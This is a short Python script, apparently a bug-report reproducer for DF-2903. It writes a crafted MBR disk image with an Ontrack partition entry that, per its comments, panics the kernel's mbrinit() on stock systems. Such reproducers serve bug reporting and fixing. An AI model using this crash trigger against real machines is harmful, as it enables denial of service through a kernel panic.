DF-2903 / mkontrack.py
#!/usr/bin/env python3 # DF-2903 trigger image: single DOSPTYP_ONTRACK (0x54) entry + valid MBR magic. # On stock kernels this panics mbrinit() at the Ontrack brelse() (pbuf misuse). import struct SECT = 512 b = bytearray(SECT) struct.pack_into('<BBBBBBBBII', b, 446, 0x00, 0, 1, 0, 0x54, 0, 1, 0, 100, 100) # type 0x54 Ontrack b[510:512] = b'\x55\xaa' img = bytearray(64 * SECT) img[0:SECT] = b # MBR at LBA 0 img[63*SECT:64*SECT] = b # same table at LBA 63 (for the re-read) open('ontrack.img', 'wb').write(bytes(img)) print('wrote ontrack.img', len(img)) |